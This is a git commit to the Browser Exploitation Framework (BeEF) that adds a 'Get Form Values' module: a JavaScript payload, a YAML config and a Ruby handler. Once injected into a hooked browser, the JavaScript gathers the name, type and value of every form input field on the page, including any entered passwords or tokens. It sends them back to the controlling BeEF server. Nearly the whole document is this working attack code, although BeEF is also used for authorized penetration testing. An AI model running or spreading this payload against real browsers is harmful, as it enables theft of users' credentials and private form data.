Add Get Form Values module

This module retrieves the name, type, and value of all input
fields for all forms on the page.
This commit is contained in:
bcoles
2013-06-02 05:11:45 +09:30
parent 7fdfcc3ef0
commit 5252bea54a
3 changed files with 57 additions and 0 deletions

View File

@@ -0,0 +1,28 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var form_data = new Array();
// loop through all forms
for (var f=0; f < document.forms.length; f++) {
// store type,name,value for all input fields
for (var i=0; i < document.forms[f].elements.length; i++) {
form_data.push(new Array(document.forms[f].elements[i].type, document.forms[f].elements[i].name, document.forms[f].elements[i].value));
}
}
// return form data
if (form_data.length) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(form_data));
// return if no input fields were found
} else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Could not find any forms on '+window.location);
}
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
get_form_values:
enable: true
category: ["Browser", "Hooked Domain"]
name: "Get Form Values"
description: "This module retrieves the name, type, and value of all input fields for all forms on the page."
authors: ["bcoles"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_form_values < BeEF::Core::Command
def post_execute
content = {}
content['form_data'] = @datastore['form_data']
save content
end
end